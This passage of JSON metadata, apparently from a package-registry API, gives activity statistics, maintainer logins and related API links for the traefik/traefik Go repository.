ast_year_avg_time_to_close_issue":5702556.340425532,"past_year_avg_time_to_close_pull_request":809887.7272727273,"past_year_issues_closed_count":47,"past_year_pull_requests_closed_count":121,"past_year_pull_request_authors_count":123,"past_year_issue_authors_count":109,"past_year_avg_comments_per_issue":3.4,"past_year_avg_comments_per_pull_request":1.1323529411764706,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":100,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/issues","maintainers":[{"login":"rtribotte","count":279,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rtribotte"},{"login":"kevinpollet","count":270,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kevinpollet"},{"login":"mmatur","count":120,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mmatur"},{"login":"ldez","count":44,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ldez"},{"login":"juliens","count":30,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/juliens"},{"login":"emilevauge","count":19,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/emilevauge"},{"login":"jnoordsij","count":16,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnoordsij"},{"login":"gndz07","count":16,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gndz07"},{"login":"mloiseleur","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mloiseleur"},{"login":"amazon7737","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/amazon7737"},{"login":"SantoDE","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/SantoDE"},{"login":"Neffi42","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Neffi42"},{"login":"tomMoulard","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomMoulard"},{"login":"dtomcej","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dtomcej"},{"login":"mpl","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mpl"},{"login":"craigsapp","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/craigsapp"}],"active_maintainers":[{"login":"rtribotte","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rtribotte"},{"login":"jnoordsij","count":16,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnoordsij"},{"login":"kevinpollet","count":16,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kevinpollet"},{"login":"gndz07","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gndz07"},{"login":"mmatur","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mmatur"},{"login":"emilevauge","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/emilevauge"},{"login":"amazon7737","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/amazon7737"},{"login":"juliens","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/juliens"},{"login":"Neffi42","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Neffi42"},{"login":"mloiseleur","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mloiseleur"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Ftraefik%2Ftraefik/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Ftraefik%2Ftraefik/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Ftraefik%2Ftraefik/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Ftraefik%2Ftraefik/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Ftraefik%2Ftraefik/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Ftraefik%2Ftraefik/codemeta","maintainers":[]}